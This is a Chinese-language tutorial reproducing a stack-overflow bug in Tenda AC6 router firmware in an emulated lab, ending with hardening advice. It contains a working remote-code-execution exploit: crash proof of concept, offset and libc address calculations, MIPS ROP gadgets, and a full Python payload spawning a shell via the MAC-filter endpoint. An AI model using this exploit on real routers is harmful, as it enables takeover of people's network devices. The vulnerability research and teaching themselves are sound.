CNVD-2025-18743-Tenda-AC6V2.0_V15.03.06.23栈溢出漏洞复现
字数 1016 2025-09-23 19:27:38
CNVD-2025-18743:Tenda AC6V2.0 栈溢出漏洞分析与利用教学
一、漏洞概述
受影响设备:Tenda AC6 无线路由器
受影响版本:V2.0_V15.03.06.23
漏洞类型:栈溢出漏洞
危害等级:高危(可导致拒绝服务或远程代码执行)
二、漏洞原理分析
2.1 漏洞触发路径
websFormDefine("setMacFilterCfg", formSetMacFilterCfg)
→ formSetMacFilterCfg()
→ set_macfilter_mode(mac_filter_mode)
→ set_macfilter_rules(mac_filter_mode, rule_list)
→ set_macfilter_rules_by_one()
→ parse_macfilter_rule(source_rule, &rule_info)
2.2 关键漏洞点
在 parse_macfilter_rule 函数中存在不安全字符串操作:
rule_tmp = strchr(source_rule, 13); // 查找回车符(\r)
// ... 其他操作 ...
strcpy(dest_rule->name, source_rule); // 栈溢出发生点
2.3 触发条件
- POST请求
/goform/setMacFilterCfg接口 - 参数要求:
macFilterType必须为 "white" 或 "black"deviceList必须包含回车符\r
- 通过Cookie进行身份认证:
password=1111
三、环境搭建
3.1 网络环境配置
#!/bin/bash
# 网桥配置脚本
sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo brctl stp br0 on
sudo brctl setfd br0 2
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo brctl show br0
sudo brctl showstp br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo ifconfig tap0 192.168.50.12/24 up
sudo ifconfig ens33 192.168.50.10/24 up
sudo brctl showstp br0
3.2 固件提取与启动
# 解压固件
binwalk -Me US_AC6V2.0RTL_V15.03.06.51_multi_TDE01.bin
# 修复web目录
rm -rf webroot
mkdir webroot
cp -rf ./webroot_ro/* ./webroot/
cp $(which qemu-mipsel-static) ./
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
3.3 补丁处理
需对固件进行必要的patch操作以确保正常启动(具体patch方法需参考相关教程)。
四、漏洞复现
4.1 基础POC
import requests
from pwn import *
url = "http://192.168.50.18/goform/setMacFilterCfg"
cookie = {"Cookie": "password=1111"}
payload = cyclic(500)
data = {
"macFilterType": "white",
"deviceList": b"\r" + payload
}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data) # 发送两次确保触发
4.2 偏移量计算
- 启动调试环境:
# 终端1:启动调试服务
sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd
# 终端2:GDB调试
gdb-multiarch
file ./bin/httpd
target remote :1234
c
- 使用cyclic模式确定偏移量:
payload = cyclic(476) # 实际偏移量为472(476-4)
4.3 关键地址计算
libc基址计算
# 在strcpy处断点:b *0x4E6A24
# 获取strcpy运行时地址:0x3fd62220
# 获取strcpy在libc中的偏移:0x0003d220
libc_base = 0x3fd62220 - 0x0003d220 # = 0x3FD25000
system地址计算
mipsel-linux-gnu-readelf -s ./lib/libc.so.0 | grep system
# 输出:0x00060320
system_addr = libc_base + 0x00060320
/bin/sh地址计算
# 在IDA中查找:0x6AE30
binsh_addr = libc_base + 0x6AE30
4.4 ROP链构造
Gadget查找
Gadget1 (libc.so.0):
.text:00029B34 lw $ra, 0x18+var_s14($sp)
.text:00029B38 lw $s4, 0x18+var_s10($sp)
.text:00029B3C lw $s3, 0x18+var_sC($sp)
.text:00029B40 lw $s2, 0x18+var_s8($sp)
.text:00029B44 lw $s1, 0x18+var_s4($sp)
.text:00029B48 lw $s0, 0x18+var_s0($sp)
.text:00029B4C jr $ra
gadget1 = libc_base + 0x29B34
Gadget2 (控制参数传递):
.text:0000DC1C move $a0, $s0
.text:0000DC20 move $t9, $s1
.text:0000DC24 jalr $t9
gadget2 = libc_base + 0xDC1C
可读地址
read_base = libc_base + 0x66C9F # 任意可读地址
4.5 完整攻击载荷
import requests
from pwn import *
url = "http://192.168.50.18/goform/setMacFilterCfg"
cookie = {"Cookie": "password=1111"}
# 地址计算
libc_base = 0x3fd62220 - 0x0003d220
system_addr = libc_base + 0x00060320
binsh_addr = libc_base + 0x6AE30
gadget1 = libc_base + 0x29B34
gadget2 = libc_base + 0xDC1C
read_base = libc_base + 0x66C9F
# 构造ROP链
payload = b"Q" * 472
payload += p32(gadget1)
payload += p32(read_base) # 覆盖$ra
payload += b"BBBB" # 覆盖$s4
payload += b"CCCC" # 覆盖$s3
payload += b"DDDD" # 覆盖$s2
payload += b"EEEE" # 覆盖$s1
payload += b"FFFF" # 覆盖$s0
payload += p32(binsh_addr) # $s0 = /bin/sh
payload += p32(system_addr) # $s1 = system
payload += b"A" * 12 # 填充
payload += p32(gadget2) # 跳转到gadget2
data = {
"macFilterType": "black",
"deviceList": b"\r" + payload
}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)
五、漏洞利用要点
- 触发条件:必须发送两次POST请求才能确保触发漏洞
- 偏移计算:实际偏移量为472字节(cyclic计算值为476,包含4字节返回地址)
- 寄存器控制:
- $s0 需要指向 "/bin/sh" 字符串地址
- $s1 需要指向 system() 函数地址
- 栈平衡:需要精心构造栈布局确保正确跳转
六、防护建议
- 输入验证:对
deviceList参数进行长度检查和内容过滤 - 安全函数:使用
strncpy替代strcpy,并指定最大长度 - 栈保护:启用栈保护机制(如CANARY)
- 地址随机化:启用ASLR保护
七、技术总结
- 该漏洞属于典型的栈溢出漏洞,通过精心构造的ROP链可实现远程代码执行
- MIPS架构的漏洞利用需要特别注意寄存器传递规则和栈平衡
- 成功利用需要准确计算各种偏移量和地址
- 此类漏洞在嵌入式设备中较为常见,需加强输入验证和安全编码实践
注:本文仅用于安全研究和教学目的,请勿用于非法用途。